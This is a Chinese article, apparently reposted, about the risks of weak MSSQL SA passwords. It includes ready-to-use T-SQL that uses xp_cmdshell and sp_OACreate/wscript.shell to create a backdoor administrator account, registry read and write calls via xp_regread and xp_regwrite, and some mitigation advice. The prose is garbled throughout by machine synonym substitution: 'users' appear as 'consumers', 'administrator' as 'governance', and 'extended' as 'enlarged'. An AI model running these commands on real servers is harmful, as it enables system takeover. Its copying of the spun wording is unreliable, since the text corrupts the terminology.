MSSQL系统安全之SA弱口令带来的安全隐患


  存储过程是存储在SQLServer中的预先写好的SQL语句 集中,其中惊险性最高的 扩大存储过程便是xp_cmdshell了,它 可以执行操作系统的任何指令,而SA是Microsoft SQLServer的治理员帐号, 占有最高权限,它 可以执行 扩大存储过程,并 获得返回值, 比方执行:

  exec master..xp_cmdshell 'net user test 1234 /add'和exec master..xp_cmdshell 'net
  localgroup administrators test /add'

  这样对方的系统就被增加了一个消费者名为test,密码为1234,有治理员权限的消费者,如图一所示 。

MSSQL

  现在你应该清楚为何得到SA密码,就 可以得到系统的最高权限了吧 。而一般不少网络治理员不清楚这个状况,为自己的SA消费者起了一些诸如1234,4321等 方便的密码,甚至 根本就不设置密码,这样网络入侵者就 可以利用一些黑客工具很轻松的扫描到SA的密码,进而操纵计算机 。

  除了xp_cmdshell,还有一些存储过程也有可能会被入侵者利用到:

  1、xp_regread(这个 扩大存储过程 可以读取注册表指定的键里指定的值), 使用 步骤(得到机器名):

  DECLARE @test varchar(50)
  EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
  @key='system\controlset001\control\computername\computername',
  @value_name='computername',
  @value=@test OUTPUT
  SELECT @test

  2、xp_regwrite(这个 扩大存储过程 可以写入注册表指定的键里指定的值), 使用 步骤(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

  EXEC master..xp_regwrite
  @rootkey='HKEY_LOCAL_MACHINE',
  @key='SOFTWARE\aaa',
  @value_name='aaaValue',
  @type='REG_SZ',
  @value='bbb'

  假如被入侵的计算机的administrator消费者 可以阅读注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那 使用 xp_regread、xp_regwrite这两个存储过程 可以实现克隆administrator消费者,得到治理员权限 。 xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患 。
  3、OLE 有关的一系列存储过程,这系列的存储过程有sp_OACreate, sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop, 使用 步骤:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
  EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test
  1234 /add'--

  这样对方系统增加了一个消费者名为test,密码为1234的消费者,再执行:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
  EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
  administrators test /add '--

  消费者test,被加入治理员组 。
  解决 步骤:给SA起个足够复杂的密码,使网络 突击者很难破解出来 。为了保险,我们还要到在 SQLServer的 查问 综合器中 使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需求时再 使用 sp_addextendedproc 复原即可,具体操作 可以在SQLServer中 查问sp_dropextendedproc和 sp_addextendedproc的 使用协助,需求 留神丝毫的是删除OLE 有关系列的存储过程,可能会造成企业治理器中的某些 性能 无奈 使用,这里小编不 提议删除 。

  既然我们晓得了SP_OACREATE的 使用 步骤,那我们就 可以到\WINNT \system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把 可以对他们 拜访的消费者所有删除掉,这样就 无奈 使用SP_OACREATE来增加系统消费者了,在我们需求 拜访这些文件的时候再外加 拜访消费者就 可以了 。